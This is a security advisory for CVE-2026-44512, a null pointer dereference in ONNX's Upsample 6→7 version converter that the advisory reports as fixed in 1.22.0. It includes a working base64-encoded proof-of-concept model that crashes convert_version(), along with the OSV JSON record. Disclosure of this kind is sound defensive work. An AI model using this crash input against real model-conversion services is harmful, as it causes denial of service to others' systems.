PYSEC-2026-2689
Vulnerability from pysec - Published: 2026-07-13 15:46 - Updated: 2026-07-13 16:05Summary
Null pointer dereference (SIGSEGV) in Upsample_6_7::adapt_upsample_6_7() (onnx/version_converter/adapters/upsample_6_7.h:31) when convert_version() processes a model with an Upsample node that has zero inputs. The adapter accesses node->inputs()[0]->sizes() without checking input count. 107-byte PoC crashes on Release build.
This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.
Details
The Upsample 6→7 adapter validates attributes but not inputs:
// upsample_6_7.h:20-33
void adapt_upsample_6_7(..., Node* node) const {
ONNX_ASSERTM(
node->hasAttribute(width_scale_symbol) && node->hasAttribute(height_scale_symbol),
"...") // Attribute check PASSES
auto width_scale = node->f(width_scale_symbol);
auto height_scale = node->f(height_scale_symbol);
auto input_shape = node->inputs()[0]->sizes();
// ^^^^^^^^^^^^^^^^^^^^
// OOB when inputs().size() == 0 → SIGSEGV
}
The PoC has an Upsample node at opset 6 with the required width_scale and height_scale attributes but zero inputs. The attribute assertions pass, then node->inputs()[0] on an empty ArrayRef:
- Release builds (NDEBUG): bounds-check assertion compiled out → reads garbage pointer → SIGSEGV
- Debug builds: assert(Index < Length) at array_ref.h:159 → SIGABRT
An Upsample node with zero inputs passes graphProtoToGraph() because the import code only resolves input names present in the protobuf.
PoC
import base64
import onnx
from onnx import version_converter
poc_b64 = "CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY="
model = onnx.load_from_string(base64.b64decode(poc_b64))
# CRASHES — Upsample_6_7 adapter dereferences empty inputs array
version_converter.convert_version(model, 7) # SIGSEGV
107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).
Impact
Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV).
This vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.
| Name | purl | onnx | pkg:pypi/onnx |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "onnx",
"purl": "pkg:pypi/onnx"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.0"
},
{
"fixed": "1.22.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.10.0",
"1.10.1",
"1.10.2",
"1.11.0",
"1.12.0",
"1.13.0",
"1.13.1",
"1.14.0",
"1.14.1",
"1.15.0",
"1.16.0",
"1.16.1",
"1.16.2",
"1.17.0",
"1.18.0",
"1.19.0",
"1.19.1",
"1.19.1rc1",
"1.20.0",
"1.20.0rc1",
"1.20.0rc2",
"1.20.1",
"1.20.1rc1",
"1.21.0",
"1.21.0rc1",
"1.21.0rc2",
"1.21.0rc3",
"1.21.0rc4",
"1.22.0rc1",
"1.22.0rc2",
"1.9.0"
]
}
],
"aliases": [
"CVE-2026-44512",
"GHSA-hwpq-hmq9-wj77"
],
"details": "### Summary\n\nNull pointer dereference (SIGSEGV) in `Upsample_6_7::adapt_upsample_6_7()` (`onnx/version_converter/adapters/upsample_6_7.h:31`) when `convert_version()` processes a model with an Upsample node that has zero inputs. The adapter accesses `node-\u003einputs()[0]-\u003esizes()` without checking input count. 107-byte PoC crashes on Release build.\n\nThis is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.\n\n### Details\n\nThe Upsample 6\u21927 adapter validates attributes but not inputs:\n```cpp\n// upsample_6_7.h:20-33\nvoid adapt_upsample_6_7(..., Node* node) const {\n ONNX_ASSERTM(\n node-\u003ehasAttribute(width_scale_symbol) \u0026\u0026 node-\u003ehasAttribute(height_scale_symbol),\n \"...\") // Attribute check PASSES\n\n auto width_scale = node-\u003ef(width_scale_symbol);\n auto height_scale = node-\u003ef(height_scale_symbol);\n\n auto input_shape = node-\u003einputs()[0]-\u003esizes();\n // ^^^^^^^^^^^^^^^^^^^^\n // OOB when inputs().size() == 0 \u2192 SIGSEGV\n}\n```\n\nThe PoC has an Upsample node at opset 6 with the required `width_scale` and `height_scale` attributes but zero inputs. The attribute assertions pass, then `node-\u003einputs()[0]` on an empty `ArrayRef`:\n- Release builds (`NDEBUG`): bounds-check assertion compiled out \u2192 reads garbage pointer \u2192 SIGSEGV\n- Debug builds: `assert(Index \u003c Length)` at `array_ref.h:159` \u2192 SIGABRT\n\nAn Upsample node with zero inputs passes `graphProtoToGraph()` because the import code only resolves input names present in the protobuf.\n\n### PoC\n```python\nimport base64\nimport onnx\nfrom onnx import version_converter\n\npoc_b64 = \"CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY=\"\n\nmodel = onnx.load_from_string(base64.b64decode(poc_b64))\n\n# CRASHES \u2014 Upsample_6_7 adapter dereferences empty inputs array\nversion_converter.convert_version(model, 7) # SIGSEGV\n```\n\n107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).\n\n### Impact\n\nAny application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV). \n\nThis vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.",
"id": "PYSEC-2026-2689",
"modified": "2026-07-13T16:05:09.671317Z",
"published": "2026-07-13T15:46:29.073664Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/onnx/onnx/security/advisories/GHSA-hwpq-hmq9-wj77"
},
{
"type": "WEB",
"url": "https://github.com/onnx/onnx/pull/7916"
},
{
"type": "PACKAGE",
"url": "https://github.com/onnx/onnx"
},
{
"type": "WEB",
"url": "https://github.com/onnx/onnx/releases/tag/v1.22.0"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/onnx"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-hwpq-hmq9-wj77"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44512"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.